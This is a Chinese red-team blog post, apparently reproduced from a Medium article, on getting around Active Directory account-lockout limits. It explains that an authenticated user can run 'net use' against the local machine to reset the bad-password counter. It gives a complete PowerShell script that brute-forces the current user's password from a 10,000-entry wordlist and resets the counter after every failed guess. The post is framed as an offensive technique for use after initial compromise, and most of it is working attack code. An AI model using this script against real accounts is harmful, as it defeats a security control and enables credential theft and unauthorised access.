BYPASS-AD账户锁定

BYPASS-AD账户锁定🔒

0X00 前言

文章来源于Medium,bypassing-ad-account-lockout,我对此做了复现.

站在红队的角度,我们前期通过钓鱼或者web应用攻击等手段获得了目标权限,可能是一个目标用户的权限,亦或者是普通服务用户的权限,而且这个用户可能在目标环境中可以有很多作用.其中一个环节就是获得目标的密码,获取用户密码的方式虽然有很多,但是条件苛刻的情况下,工具是不太好使的,本文只是另一种方式.

0X01 复现

什么是账户锁定策略?即用户在指定时间内输入错误密码的次数达到了相应的次数(这个次数是自己设置的,即下文中的”账户锁定阈值”),账户锁定策略就会将该用户禁用。该策略可以防止攻击者猜测用户密码,提高用户的安全性。

核心思想就是只要用户经过了身份验证,就可以执行:

1
net use \\%computername% /u:%username%

这个命令的好处就是可以重置锁定次数.
一般来说,组策略的限制下,次数是有限制的,通过这个是重置密码次数,达到爆破的目的.

貌似默认是无限制的,需要自己设置密码策略.
-w1071

测试,我设置时间短一点.
然后应用到组.
-w1008

有关get-aduser的介绍:get-aduser

1
get-aduser -filter * -prop lastbadpasswordattempt, badpwdcount, lockedout | select name, lastbadpasswordattempt, badpwdcount,lockedout | format-table -auto

-w1055

然后我再使用一个命令:

1
net use //ATTCKWING flowing

-w1062

次数被重置了.
如果提示有存在的共享,del掉即可.
使用top1000的password去破解.
https://github.com/danielmiessler/SecLists

一个demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$userVar = Get-ChildItem env:username

$uname = $userVar.Value

$computerVar = Get-ChildItem env:computername

$computerName = $computerVar.Value

$ErrorActionPreference = "Stop”

$hooray = "PasswordNotFound”

$CurrentPath = "C:\Users\Public”

$FileName = "10-million-password-list-top-10000.txt”

$FName= "$CurrentPath\$FileName

foreach($value in [System.IO.File]::ReadLines($Fname))

{

$passAttempt = ('net use \\' + $computerName + ' "'+ $value +'"' + '/u:' + $uname )

try

{

Write-Output ("trying password " + $value)

$output = Invoke-Expression $passAttempt | Out-Null

$hooray = $value

write-output ("FOUND the user password: " + $value)

$reset = ('net use \\' + $computername + ' /u:' + $uname )

Invoke-Expression $reset | Out-Null

$deleteShare = ('net use /delete \\' + $computername )

Invoke-Expression $deleteShare | Out-Null

break

}

catch

{

$reset = ('net use \\' + $computername + ' /u:' + $uname )

Invoke-Expression $reset | Out-Null

$deleteShare = ('net use /delete \\' + $computername )

Invoke-Expression $deleteShare | Out-Null

}

}

write-host "The Password is: " $hooray

代码根据自己情况进行修改,可以配上多线程.
-w821

Get It!

打赏wing!